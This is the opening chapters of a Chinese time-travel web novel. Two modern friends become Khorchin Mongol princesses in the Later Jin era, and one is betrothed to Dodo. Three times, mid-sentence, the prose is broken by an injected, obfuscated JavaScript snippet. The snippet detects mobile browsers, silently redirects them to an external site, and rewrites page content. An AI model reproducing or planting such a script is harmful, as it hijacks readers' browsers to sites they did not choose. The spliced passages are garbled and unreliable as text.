《崇德纪事(清穿)》 1. 穿越 毡车车轮高大,前进却缓慢,于微坐在车窗下,倚着棉枕,一手托腮,远眺天边,晨光熹微,太阳方从地平线的尽头升起。 拉车的两匹马,在车夫吆喝下,熟练朝着一个方向前进,那是后金的方向—— 于微的相亲之地。 大概率也会是她要嫁去的地方。 一朝穿越,来到科尔沁草原,成为嫩科尔沁部落长莽古斯之女,博尔济吉特.达哲。 这个名号可能听起来不太响亮,事实也的确如此。 于微刚穿过来,得知自己的身份,也是一脸懵逼,一听草原,又是孛儿只斤黄金家族[1],还是成吉思汗胞弟后人,她一度以为自己穿到了大元,连忙问现在大汗哪位? 对方说,博格达彻臣汗[2]。 于微汗颜,这哪位? 然后有人说,天聪汗。 有点熟悉,但是想不起来。 最后有人说,他叫皇太极。 这不就对了吗,皇太极她认识啊,原来自己是清穿了,就是穿的略早,这会儿大清还在关外挖人参。 再熟悉了几天,她的称号升级成了自己能听得懂的一串——哲哲皇后的妹妹,孝庄太后和元妃海兰珠的姑姑,顺治她小姨。 什么天胡开局。 后金天聪八年,琢磨这年号,于微一时有些拿不准自己是清穿还是明穿。 现在还是大明歪脖子树(未挂人版)年间,清还在后金大汗时代,尚未称帝,但而今的后金雄踞一方,先后征服漠南蒙古、朝鲜,实控范围与日俱增,算算日子,离大汗皇太极称帝,改国号为清,也就是一两年的事情。 就在她琢磨自己到底算清穿还是明穿的时候,帐外忽然喧嚣起来,一群人抬着个满头是血的小姑娘进来,原主的妹妹巴特玛琪琪格不小心从马上掉下来了。 于微赶紧上前,‘妹妹’幽幽醒来,看清周围场景后,瞳孔慕然紧缩,开口就是一句标准国粹。 “卧槽。” 于微也是一惊,本能脱口道:“卧槽。” 四目相对,一个眼中全是惊喜,另一个眼里全是惊吓。 ‘妹妹’冷静下来,搞明白自己是穿越了之后,立刻问于微道:“你叫什么名字?” “于微。” 对方眼睛一亮。 于微的手,立刻被人紧紧抓住。 “微,我是童尘啊!” “啊!”于微大喜过望,她的好姐妹,童尘,也穿过来了? 好姐妹相拥,喜极而泣。 相认之后,于微问童尘,“我是给你捞手机掉水池里过来的,你是怎么过来的啊?” “那你掉进去了我能不捞你吗?” 于微蹙眉,“你背着我学游泳了?” 童尘一脸无语,“我要是会游泳我能穿过来吗?” 两人相视,一时都绷不住了,桀桀桀的笑了起来,笑了一会儿,童尘问于微,“你好像来的比我早,这边什么情况啊?快给我说一下。” “咱们现在在嫩科尔沁国[3]。” “哎呀我去,咱俩穿出国了?”童尘大惊失色,“嫩科尔沁国是什么国?不会还有一个老科尔沁吧。” “没呢,咱在内蒙古呢,就在靠近东北那一块。科尔沁没有老嫩之分,只有阿鲁科尔沁和嫩科尔沁。科尔沁是成吉思汗二弟合撒儿的封地,分为左右两翼,合撒儿十四世孙奎蒙克塔斯哈喇为了躲避战乱,率领科尔沁的左翼南下。为了区分留下的阿鲁科尔沁,南下的被称为嫩科尔沁,就是咱们,是蒙古的一支,尊重点叫国,叫部也行。” 童尘似懂非懂,“成吉思汗?大元啊?” “大清!”于微纠正道:“也不对,现在叫后金,大明那颗老歪脖子树,还没挂人呢。崇祯正在跟皇太极对垒呢,明末清初。” 童尘这下明白了。 于微继续道:“嫩科尔沁部与后金毗邻,起初为敌,后来咱们被人家打服了,开始跟后金交往,相互联姻,咱俩的姐,额尔德尼琪琪格,也就是孝端文皇后哲哲,嫁给了后金的皇太极,现在是后金的国君福晋。还有孝庄太后布木布泰,这会儿也嫁过去了。” “咱俩的姐?咱俩成亲姐妹了?” 于微想了想,“是,也不是。” “嗯?” 于微解释道:“咱俩的确是一个妈,但不是一个爹。” “那又怎么了?”童尘问道。 “咱俩现在的老妈是衮布妣吉。” “好奇怪的名字?衮布妣吉?”童尘蹙眉。 “蒙古部落首领叫台吉,台吉的配偶叫妣吉[4],她名字叫衮布,人称衮布妣吉。咱俩是别吉。达哲别吉和巴特玛琪琪格别吉,你可别当别吉是你的名字。” 于微刚来时,听人叫她别吉,还以为自己叫这个名字。 丢脸。实在丢脸。 “衮布妣吉先嫁给了嫩科尔沁大领主莽古斯,生了咱姐和我,然后莽古斯死了,老妈又改嫁给了莽古斯的孙子索诺木,这是孝庄太后的亲哥,生了你,还有咱弟。” “什么?!”童尘震惊道,“这什么乱七八糟的关系,我又是你妹,又是你侄孙女的?” 于微点点头,“对,蒙古的收继婚是这样的。这里的婚嫁只分部落,不计辈分,收继婚、接续婚、中表婚、舅甥婚、姑侄婚,都是合法的婚姻方式。只要改嫁的跟自己没有血缘关系就行。” “不管。”童尘道,“咱俩就是亲姐妹,老爹那是老爹的事情。” “没爹了。莽古斯死了,索诺木也死了,被袁崇焕的红衣大炮打死了....咱弟现在还小,咱们部落是老妈做主[5]。” 童尘看向于微,眼中有些震惊,“咱老妈这么厉害。” “啊。女强人中的女强人。” 姐妹相聚异世,管他老爹是谁,一个老妈生的就行,两人终于来到了梦寐以求的大草原,嫩科尔沁草原上,蓝天白云,苍穹之下,牛羊成群,放牧的族人,身骑骏马,她们还吃上了梦寐以求的蒙古烤全羊,喝上了马奶酒。 爽。 好日子才过了一个月,衮布妣吉就找到于微,对她说,“达哲,后金大汗想为你说一桩婚事。” 于微瞳孔地震,“嗯?是谁?” 童尘也十分吃惊,“嗯?谁呀?” “他有个幼弟,先汗最宠爱的幼子,和硕额尔克楚呼尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941200|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝勒多铎,大汗想让我带你去后金,和他相看。” "什么什么贝勒?"童尘显然没听明白。 “额尔克楚呼尔,额尔克是雄壮之意,楚呼尔是斑斓的,和硕贝勒是后金仅次于大汗的存在。” 雄壮的?斑斓的? 于微看向童尘,两人都是地铁老人脸。 “妹妹去吗?”于微问道。 “她不去,她去干什么?” 于微当即拒绝道:“那我也不去。” 衮布妣吉竖眉,“嗯?” 这不是于微能做主的事情,很快,她就被塞上了马车,童尘跟在车后,喊得撕心裂肺。 燕子! 燕子!没有你,我可怎么活啊。 马车走走停停,于微一路心情凝重,后金大汗做主的婚事,基本上没人会拒绝,她大概率就是要嫁去后金,嫁给这个雄壮的、斑斓的贝勒。 啊!才和姐妹重逢,不会又要天各一方吧?! 她正出神,一道身影忽然挡住了她的视线,来人骑马靠近毡车,一伸手便将车帘拉了下来。 “风大,小心得风寒。” 东北的四月,早晨还很冷,对方虽是关心,却带着一股浓厚的不容置疑。 于微伸手,又将车帘掀开,不忿的视线直直投向车外人,青年不过二十出头,十分年轻,五官深邃立挺,皮肤白皙。 黑色暖帽边缘一圈风毛,和他长长的睫毛一起,在晨风中颤动,他勒住缰绳,马儿便原地踏步,青年的视线因此停留在于微身上,他似是松了口气,口鼻处几道长长的白气散开。 “你谁呀?” 看风景、想事情的时候,中途被打断,是件很让人不开心的事情。 家住大海边吗?管这么宽? 青年看了她一眼,并没有回答,一拍马继续往前,和从队尾赶上来的吴克善,迎面相逢,两人纷纷下马,相互抱见。 “吴克善台吉。”青年道。 吴克善热情道:“额尔克楚呼尔贝勒。” “大汗命我快马加鞭前来迎接你们,他也亲自带着福晋和贝勒们,出盛京城来迎接你呢。” 多铎的蒙古语熟练。 后金崇尚蒙古文化,天命汗努尔哈赤便自称母系来自于蒙古,而今后金通行的满文借鉴蒙文,在蒙文的基础上诞生。 两族无论在语言还是文化,都没有太明显的差异。 听着两人对话,于微大概知道,这人就是她的相亲对象,不是很丑,她这才稍微松了口气。 听他的封号,雄壮的,她还以为是个什么五大三粗的黑汉子呢。 相亲对象那边的一点点担忧放下,于微开始全心全意思念童尘,恹恹趴在车窗,窗外,多铎在马上,一手握缰,另一手干脆利落的打着手势,指挥车队加速前进。 一加速,凉意就明显,于微缩进毡车。 蒙古的毡车,就是马上的蒙古包,停稳后,就是休息的房子。蒙古尚白,毡车通体雪白,关上窗户,内里温暖舒适。 毛毡上,铺着厚毯,棉枕松软,于微靠着棉枕,心里全是童尘。 “和尘分开的第十二天,想她想她。” 2. 金龟婿 马车又走了一两日,一行人才看到盛京的影子,后金大汗皇太极十分重视嫩科尔沁部这个盟友,亲率众福晋及大小贝勒出城几十里,迎接岳母衮布妣吉一行人。 人一下子多了起来,自己这边的亲戚还没认全,又多了一批后金的亲戚需要认,于微的头顿时大了起来。 后金和蒙古的礼仪相近,除了跪拜,还有抱见礼,因为是亲戚,也为了表示亲厚,双方采用了抱见的习俗。 抱见不分男女,且多种多样,按身份与齿序,有单方面的抱——抱人大腿的,人抱小腿的,也有双方互抱,但一方要抱另一方腰的,还有双方光明正大的抱[1]。 于微尴尬站在原地,手张也不是,不张也不是。 穿过来这一个月,只顾着吃烤全羊了..... 这跟清宫剧演的根本不一样啊,不是萝卜蹲吗?不是单膝跪地吗?怎么抱来抱去的?她应该抱谁?怎么抱? 她正发愁,不防被衮布妣吉推了一把,跌入一个温暖的怀抱,来人紧紧抱住她,下巴亲昵的在她发顶摩挲,“达哲,额格其可想死你了。” 蒙古人称呼姐姐为额格其。 这个人应该就是她的姐姐,额尔德尼琪琪格,后金人称哲哲,也就是历史上大名鼎鼎的孝端文皇后。 于微抬头,哲哲的脸庞很圆,显得十分和蔼,单眼皮,高颧骨,是很蒙古女子的长相。见于微望着她,半天不说一句话,哲哲笑了,“怎么了,不认识了?” “额格其。”于微立刻唤道。 哲哲摸了摸她的头,亲昵道:“我的好妹妹。” 眼见哲哲就要松开她,另一个不认识的女子上前准备来抱她,于微吓得一头扎进哲哲怀中,紧紧搂住她的腰。她装作不舍的样子,赖在哲哲怀中,躲避着接下来的抱见。 那准备来抱她的女子哈哈笑了,“达哲还是跟小时候一样。” 听这话,对方应该也认识她,但于微根本来不及去想,只抱紧了哲哲,先把眼前这场景混过去了再说吧,不能露馅。 依偎在哲哲怀里,于微躲过了之后一系列抱见。 嫩科尔沁部的来访,后金方面十分重视,宰牛杀羊,大办宴席。成桌的宴席摆开,佳肴端上桌,便开始劝酒,你劝我,我劝你,似乎感情全在酒里,不喝就是没感情,众人边喝边笑,一时笑声鼎沸。 人与人的感情并不相通,于微不知道他们在笑什么,心里想着好姐妹童尘,她只觉得这些不认识的人十分聒噪。 酒过三巡,双方开始谈正事,衮布妣吉让侍女拉上来儿子奇塔特。 奇塔特是她改嫁之后所生,今年九岁,和童尘是同父同母的亲姐弟,衮布妣吉命儿子向皇太极、众位福晋和贝勒们行礼。 “我嫩科尔沁屡次嫁女后金,不知大汗是否愿意将后金的女儿嫁给我嫩科尔沁?”衮布妣吉开门见山,要为儿子奇塔特求娶一位后金女子。 这次相亲的对象原来有两个。 她,和她的弟弟兼侄孙奇塔特。 皇太极想了想,问道:“不知大嬷嬷想娶我的哪个女儿?” “汗和国君福晋的长女可否?” 于微脑子一瞬宕机,等一下,她要烧烤。 汗和国君福晋的长女,也就是哲哲的女儿? 可是哲哲和奇塔特是一个妈呀! 啊? 他俩不是舅舅跟外甥女的关系吗? 不对,哲哲的父亲是莽古斯,奇塔特的父亲是莽古斯的孙子索诺木,这是姑姑和外甥? 于微眨了眨眼睛,这... 俩人互相比对方高一辈,凑一块算抵消了?所以结婚之后,算平辈? 皇太极思索片刻,“这件事,我需要和众贝勒商议,过几日商议出结果了,再给大嬷嬷答复如何。” 衮布妣吉点头,“好。” 眼瞅着商量完奇塔特的婚事,话题马上要扯到自己身上,于微趁人不注意,尿遁而去。 相亲?狗都不相。 这具身体才多大啊,十五岁,正是上初中的年纪,结婚?结什么婚? 帐外,仆从们忙碌不已,于微绕过他们,想找个没人的清净地方,帐篷后,有一块空地,远远看起来没什么人的样子,于微朝空地方向走去,躲起来固然没什么用,但她想静静。 让她思考一下。 空气中飘荡着一阵若有若无的哭声,于微越往前走,哭声越清晰,看来这清净的地方,不止她一个人喜欢。 于微蹑手蹑脚,准备悄悄离去。 “是谁?” 一个半大的少年,从角落中探出头来,他抬起双红肿的眼睛,直勾勾望着于微,眼中全是防备与警惕。 于微尴尬的站住,望向那少年。 “大胆!谁让你过来的!”对方抢在于微前面开口,斥责道。 听少年说话这口气,于微猜测他的身份应该不太一般,人在后金,还是少闯祸,她于是小心翼翼道:“我不是故意的,只是路过。” “你是蒙古人?”少年听出于微说的是蒙语。 于微想了想,“我是你们国君福晋的妹妹。” 少年眼中惊愕一闪而过,他上下打量于微一眼,站起来,拍了拍身上的灰,对于微道:“我是天命汗的幼子,费扬果。” 天命汗,努尔哈赤。 原来是天命之子,失敬失敬。 但是?于微记得很清楚,老妈衮布妣吉跟自己提起多铎时,说他是先汗王努尔哈赤最宠爱的幼子,怎么现在又蹦出来一个幼子? 幼子,是小儿子的意思没错啊。 他到底有几个小儿子? 于微蹙眉,上下打量费扬果一眼,他看起来不过十六七岁,多铎看起来二十出头的模样,远比他大。 看来老妈的信息资料有误啊。 于微不知道怎么跟这位天命小子见礼,思来想去,决定傲娇一点,等着对方向她行礼,然后依葫芦画瓢,还回去。 但这个天命小子也十分有骨气,一动不动站在原地,望着她,若有所思。 两人正在僵持,忽听身后有人唤道:“达哲别吉。” 于微回头,是多铎。 费扬果见到多铎,眼中一时露出怯色,他仓促低头,道:“十五哥。” 看来,这人还真是多铎的弟弟,努尔哈赤最小的儿子。 多铎瞥了一眼费扬果,眼中全然不屑,他理都没理会费扬果,径直走到于微面前,对她道:“看你许久未归,以为你迷路,所以出来寻找,大汗问你呢,还是快回去吧。” 于微‘哦’了声,只得跟着多铎回去。 走到半路,她好奇问多铎道:“他是你弟弟吗?” 多铎满不在乎道:“庶弟罢了。” 庶这个字,轻蔑的从多铎口中说出,于微从空气中,敏锐觉察到了一丝嫡庶有别的气息。 “他只是我汗阿玛一个庶妃生的儿子罢了。” 于微的脚步慢了下来,她望向多铎,困惑道:“庶妃的儿子怎么了?庶妃的儿子,就不是你的兄弟吗?” 多铎微微蹙眉,深黑的瞳眸中已然有些不悦,于微知道自己说错了话,对方似乎并不喜欢自己将他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941201|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费扬果相提并论,她眼珠转了转,立刻道歉道:“对不起。” 索诺木除了衮布妣吉,也有其他的妻妾,他们生的儿子,跟奇塔特关系很好,于微以为后金也是这样。 多铎压下情绪,对于微解释道:“我是大妃的儿子,他是庶妃的儿子,当然不能相提并论。我是和硕贝勒,他是我的属人,你说我们能一样吗?” 属人。 是什么? 虽然不知道多铎说的到底是什么,但中心思想于微还是把握住了。 嫡嫡道道。 言多必有失,于微不敢再问,只得顺着多铎的话道:“确实不一样。你比他尊贵得多。” 听她这么说,多铎眼中不满才有所缓解,“你知道就好。” 两人回到帐中,酒宴继续,皇太极将多铎叫出来,命他向衮布妣吉行礼。 “这是我的幼弟多铎,先汗最宠爱的幼子,多铎,上前见过大嬷嬷。” 多铎上前,单膝下跪,向衮布妣吉行礼,衮布妣吉笑着搀扶起他,“果真是相貌堂堂。” 丈母娘先看女婿,哲哲当然不会对自己的弟弟不满意,衮布妣吉对多铎也十分满意,但婚事并没有立刻敲定下来,后金方面还有一项必不可缺的流程要走—— 国议。 “老汗王在的时候,让八旗旗主贝勒共议国政,大汗登基的时候,也和三大贝勒盟誓,和他们共议国政,小贝勒们则盟誓,听从大贝勒,婚嫁都要经过国议许可,否则不作数。” 哲哲坐在炕上,耐心同于微讲解后金种种。 “国议是因为开创了八旗,大家聚在一起,有商有量的。” “至于八旗,就是黄蓝红白,还有四个镶色,老汗王自领两黄旗,余下六旗分给子弟。八旗由固山组成,并非只有只有八个旗主,也有贝勒共领,一人几个固山的,现在后金有大小十个贝勒,多铎排在第十,人称十贝勒。” 于微不解道:“他不是老汗王第十五子吗?” 难道因为他的哥死了几个,递补成了第十?这也不对吧。 哲哲解释道;“并非所有老汗王的儿子都能分得牛录,成为和硕贝勒。只有大妃、大福晋的嫡子,才能继承,庶妃的儿子是没有的。多铎是乌拉那拉大妃所出的幼子,老汗王最爱的儿子,老汗王将手里的精锐镶黄旗,整旗给了他。” 嗯? 后金嫡嫡道道这么严重?庶子甚至没有继承权。 于微掰着手指算了算,“八旗,十个贝勒,他一个人占八分之一。” 很有实力的一个贝勒啊。 “何止。”哲哲道,“八旗可不是每个旗人数一样多,老汗王自领的两黄旗,是人数最多的旗。多铎手中有老汗王分给他的十五牛录,以及后来老汗王去世,继承老汗王自留的二十个牛录,一共三十五个牛录。” 于微不清楚这是个什么水平,三十五个,很多吗? 哲哲显然看出了于微的困惑,补充道:“你要知道,大贝勒代善父子三人领的两红旗加起来,才四十五个牛录,大汗未登基前领的镶白旗,一共二十五个。” 哦。 那这三十五个非常多了。 可是他有三十五牛录,跟自己有什么关系? 于微抬眸,扫了一眼耐心的哲哲,大概清楚她和自己讲这么多,是为了利诱自己,抓住这个有实力的金龟婿。 这确实是金龟婿。 八旗不仅是军事组织,也是民事组织,牛录越多,人口也就越多,自然而然经济状况也就最好。 退一万步说,有兵了,还怕没饭吃? 3. 费扬果 于微一行人在后金停留了月余,皇太极的几位福晋与几位大贝勒福晋轮流招待她们,她这才知道,那天要抱她,却被她躲过的女子,是布木布泰。 传闻中的大玉儿,将来的孝庄太后,于微的继父索诺木是她的亲三哥,两人互为姑侄。 还有哲哲,她和布木布泰也是这个关系。 于微想了半天,没想出来应该怎么称呼布木布泰,最后称呼了她的职务,“西宫福晋。” 皇太极即汗位之后,布木布泰被封为西侧福晋,称西宫福晋。 工作的时候,要称呼植物。 布木布泰只是笑着摸了摸她的头,“一别多年,到底还是生疏了,没关系,等你以后嫁来后金了,我们还跟以前一样。” 一旁布木布泰的生母博礼妣吉望着两人笑笑,“达哲也嫁到后金的话,以后可就热闹了,就是不知怎么,她现在不爱说话了。” 衮布妣吉叹口气,心疼道:“许是之前落水吓到了。” 于微苦笑,她也想说话啊,但就是不知道怎么开口。 继父索诺木是博礼妣吉和寨桑台吉的第三子,寨桑台吉是莽古斯的长子。 这是她的大嫂,兼继奶奶。 更搞笑的是,衮布妣吉和博礼妣吉,互为婆婆,这婆媳矛盾还能起来吗? 每次她想说点什么,一张嘴,却不知道该如何称呼对方,索性作罢。 后金方面很快商量出了结果,准许多铎向衮布妣吉求娶于微,可以将汗女嫁给嫩科尔沁,但不能是汗长女。皇太极表示,暂时没有将长女嫁人的打算,但是还有两个小格格,衮布妣吉可以相看相看。 得知这个结果,于微一脑门黑线。 嗯?不是相亲吗?这个相体现在哪里了呢? 哦,原来是让多铎来相她。 蒙古与女真都是包办婚姻,孩子婚事均由父母做主,双方家长同意之后,多铎按习俗,送来貂皮、弓箭、马鞍等物,向于微下聘,两人的婚事就此敲定。她这才反应过来,前几日,哲哲不是在劝她,而是在和她科普。 忙完一桩婚事,还有弟弟奇塔特的婚事。 皇太极所谓‘两个小格格’,就是指哲哲次女和布木布泰的长女两个小格格。 在于微眼中,哲哲的次女,跟长女,没有任何区别。 如果是布木布泰的长女,那关系....不行,头好痛,大脑要宕机了.... 幸而,衮布妣吉最终选择了哲哲的次女。 很巧的是,小格格也叫达哲。 达哲和琪琪格一样,是草原上重名率很高的名字,类似于现代的,子涵。 嫩科尔沁嫁到后金一个达哲别吉,后金回嫁一个达哲格格。 于微忍不住想,达哲格格以后该怎么称呼衮布妣吉,叫额吉还是叫外婆?还是表嫂? 自己这算姨妈还是姐姐?还是算姑奶奶? 也能算婶婶,因为她跟多铎不是定亲了吗。 这关系,于微就是在摇摇车上把脑袋摇成浆糊也摇不明白啊。 不想了,大脑要死机了。 月底,衮布妣吉为奇塔特向皇太极下聘,只等格格长大之后,再履行婚约。 婚事谈妥,众人便打算返回嫩科尔沁,但博礼妣吉的小儿媳妇要生了,众人因此又停留了一段时间,新生命的降生,象征着希望,所有人都很开心,围着孕妇和新生儿,脸上洋溢着喜悦的笑容。 人一多,于微脑子就乱了,她无声躲开人群,找了个清净的地方,深深吐出一口浊气。 啊。没有复杂人际关系的地方,实在是太爽了。 她刚松了口气,头一歪,脸上的笑容顿时又僵住,不远处角落,上次见过的费扬果,正坐在地上,茫然盯着她,四目相对,些许尴尬。 于微‘嘶’的吸口气,抬手朝他挥了挥,“hi。” 费扬果的眼眸,霎时紧缩,他试探性开口道:“hello!” 于微一惊,国粹脱口而出,“卧槽。” 这大清都让人穿成筛子了! 对方也低低骂了一声,“卧槽。” 费扬果站了起来,快步朝于微走来,他不可置信的望着她,呼吸已然急促,激动地半天说不出一句话。 幸而于微是见过这种大场面的,淡定对费扬果道:“我叫于微。” 费扬果道:“我叫陈言。你什么时候穿过来的?” “我才穿过来没有两个月,我妹妹,也是穿的,我俩是好姐妹。” 费扬果满眼含泪,“我穿过来好几年了,终于来人了啊,不是独在异乡为异客了,老乡见老乡,两眼泪汪汪。” 老乡见面,总要聊聊故乡,两人在角落里坐下,看着人来人往,有一搭没一搭聊着。通过交流,于微才知道,费扬果跟她是一个时代的,穿过来三年了。 “你穿过来三年,理清这边的关系了吗?”于微问道。 费扬果抿唇,“这里的关系像在拧麻花,一时半会说不清楚。” 他指着不远处,人群的中心道:“你看,你跟多铎定亲,但是你的叔叔满珠习礼,他的夫人,是大贝勒代善的孙女、大汗的养女,同时满珠习礼的妹妹布木布泰,嫁给了大汗。” “满珠习礼不是我叔叔,那是我侄子。”于微纠正道,“博礼妣吉有四个儿子,吴克善、察罕、索诺木、满珠习礼,但我是莽古斯的遗女,被继父索诺木抚养长大。” 两人沉默片刻,转过去看对方,四目相对,两人一个没忍住,笑了出来。 “这不是摇摇车能摇明白的关系,算了吧。”费扬果放弃了。 于微也放弃了,“大家关系这么乱,都怎么称呼啊?” 这是她最关注的点。 要了命了,这怎么称呼。 “由远及近。”费扬果道,“如果同时有很多近的关系,就爱怎么叫怎么叫吧。” 于微‘啊’了声,“瞎叫啊。” “实在拿不准就称职务,名字加职务,或者行序加贝勒,有几个特殊名词需要记一下,大汗、大贝勒,这个是不能变的。” 于微眨了眨眼睛,她觉得自己好像在做那个英语名词填空。 “等你嫁过来慢慢学,学以致用。”费扬果道,他似乎很期待于微嫁过来,这样,他在后金就能有一个同伴。 闻此,于微却叹了口气,“要死,我不想嫁,这可是包办婚姻!” 费扬果笑了下,“确实,我看多铎也不怎么想娶你,国议的时候,大贝勒就说,他娶你一定别有用心,估计是看中了你大福晋之妹的身份,怕你俩合不来,有伤两国情谊。” “嗯?” 于微认真起来了,“你接着说!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941202|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大汗说,多铎是先汗的幼子,不想因为一个女子,影响兄弟之情,如果你俩合不来,就悄悄把你送回去。” 于微眼前一亮,“真的吗?” 还能送回去?那可太好了,她又能和尘在一起了。 费扬果看了她一眼,有些诧异,“哇,要把你送回去你还这么开心?” “我只想跟我姐妹在一起。” 费扬果想了想,“可是你的姐妹就不嫁人了吗?你回到科尔沁,说不准你的姐妹又要嫁到别的地方去。” 这倒的确是个问题。 她正冥思苦想,身边费扬果忽然站了起来,于微诧异看了他一眼,顺着他有些惊恐的视线望去,一道熟悉的身影站在远处。 多铎不知道何时出现,正沉眸凝视二人,他今日打扮得十分光鲜亮丽,长袍黑靴,腰间银质小刀刀柄上的宝石,在日光下熠熠生辉,天气渐渐暖和,他便摘了帽子,寸长的头发,更显五官立挺坚硬。 于微眨了眨眼睛,茫然望着多铎,她是第一次见到后金人摘下帽子的样子,怎么是个寸头?辫子呢? 三人在原地对峙,一群青年不知从何处摸了过来,他们望着于微和费扬果的方向,哈哈大笑,其中一个青年笑着揽上多铎的肩头,弯腰去看他的眼睛,“弟弟,看来你一点也不得未来福晋的心啊,她宁可跟费扬果说话,都不理你,哈哈哈哈哈。” 于微听出话中讥讽之意,看了身边费扬果一眼,听那青年的话,费扬果似乎是什么嘲讽的计量单位。 “你在后金,是不是过得不好啊?”于微小声问道。 接连两次,她都是在角落看到他,从之前多铎提及他的态度,以及现在后金人对他的态度,费扬果应该和自己刻意躲避人群不一样,而是被人群排斥,只能待在角落。 费扬果口气平淡,好像已经看开,“庶子,骑射还不行,后金鄙视链底层,说的就是我。” 于微想了想,“姐妹,那你太惨了。” 一抬眸,见多铎还盯着自己,于微觉得有些厌烦,索性丢下所有人走了。身后笑声阵阵,有人在问多铎:“弟弟,你和你未来福晋说上话了吗?哈哈哈哈哈。” 晚上,于微终于忍不住询问衮布妣吉,“额吉,我们什么时候回去啊。” “想妹妹了?” 于微认真点头。 衮布妣吉摸了摸她的头,“西宫福晋也要生了,她好不容易才和母亲团聚,等她生了,我们就回去。” 他们抵达后金的时候,布木布泰就已经有了四个月的身孕,眼下已经大腹便便,不日就要临盆。孕妇生产,是她最虚弱的时候,很需要母亲陪在身边,而且,科尔沁也很关心这个孩子的性别。 如果是个男孩就好了,所有人都在心中暗暗祈祷。 除了于微,她只想回科尔沁,和童尘见面。 结果不尽如人意,布木布泰还是生了女孩,这是她的次女,在此之前,哲哲也只生下来两个女儿,嫩科尔沁嫁给后金大汗的两个别吉,都没有生下男孩,随着小格格的降世,所有人都焦虑起来。 这样凝重的氛围一直持续到她们回到嫩科尔沁,马蹄声阵阵,童尘得知他们要回来,骑马往出跑了几十里地,于微跳下车,朝童尘跑去,两人紧紧相拥。 “呜呜呜我可想死你了。” “我也是。” 4. 出嫁 一见面,于微就迫不及待将童尘拉进了帐篷。 “你知道乌尤塔是谁吗?” 童尘肉眼可见的愣住了,“什么是谁?她不就是她。” 乌尤塔是博礼妣吉孀居在家的女儿,二十多岁,青春正好,和大多豪放派的草原女子不同,她是个很温柔明晚的人,对于微和童尘都很好。 见童尘没有get到自己的意思,于微急了,脱口而出,“她是海兰珠啊!” “啊?”童尘大惊,“什么?快点细说。” 童尘知道于微一定是在后金吃到了什么一手瓜。 “我在后金的时候,布木布泰又生了一个女儿,哲哲和布木布泰两个人加起来已经生了四个女儿了,所以咱们家里有点着急,于是,她们商量要把乌尤塔嫁过去,同母姐妹,同嫁皇太极,她不是海兰珠她是谁!咱们的姐姐能有一个后金称呼‘哲哲’,海兰珠也未必只有一个名字,咱们的大方向就错了。” 于微一口气说完,童尘这才恍然大悟,起初,她们并没有将乌尤塔和海兰珠联系起来,因为名字对不上[1]……只当她是孝庄和元妃不曾记载的同母姊妹。 “我靠?!” “还有一个事。”于微看向童尘,表情凝重,“不仅海兰珠要嫁过去,他们也要把我也嫁到后金去,聘礼都收了。” “什么?!”童尘大叫道:“不行!” “我也不要去,我不要离开你!” 两人抱头痛哭。 “燕子,你不能离开我。不行我也去后金,后金还有别的人吗?” 说起别的人,于微忽然想起了同为穿越者的费扬果,立刻对于微道:“还真有,我在后金也遇到一个穿越的,叫费扬果,是努尔哈赤最小的儿子,就是是个庶子,被霸凌得蛮惨的。” 童尘的眼睛亮了,“庶子怎么了,你还嫡嫡道道啊。” “不是我嫡嫡道道,是后金嫡嫡道道,后金现在还是多妻制,大妃和大福晋、福晋生的孩子,算嫡子,一个待遇,小福晋、庶福晋生的,算庶子,连继承权都没有。” “那算了。”童尘拒绝道,“我害怕霸凌。” 婚事订下,于微回到科尔沁,便只剩下待嫁这一件大事,按习俗,新娘得给新郎缝制一套新衣服,这可就太为难于微这个生活在工业时代的年轻人了,扣子掉了都得找个裁缝铺的人,让她做一套衣服出来? 于微一边做,一边骂人,冷脸做新衣服。 结果当然是一塌糊涂,好在草原上都是自家人,没人拿她当儿媳妇为难,做不出来就做不出来,一塌糊涂的东西送到裁缝处,几日之后就被改得焕然一新。一作自然是挂于微的大名,这就是她为自己丈夫做的新衣服。 出嫁的日子转瞬即逝,要赶在春风吹化冻土之前,否则一旦天气回暖,四处泥泞,马车会陷入泥坑,马匹也会失蹄滑倒,总之,要挑一个易于出行的时间段。 鲜红长袍,织金腰带,头上金银钗固定三指宽的额带,满缀蜜蜡、珊瑚等宝石,发筒上头的一瞬,于微觉得自己的脖子要断了。 崭新的蒙古包,专为婚礼搭建,屋顶洁白,内壁绘着丰富的图案。 童尘抱紧了于微,于微也抱着她不撒手,两人抱头痛哭,不要啊,她们不要分开! 上天就成全她们这对有情人吧,友情也是情啊。 苍天有眼,不要让有情人分开啊。 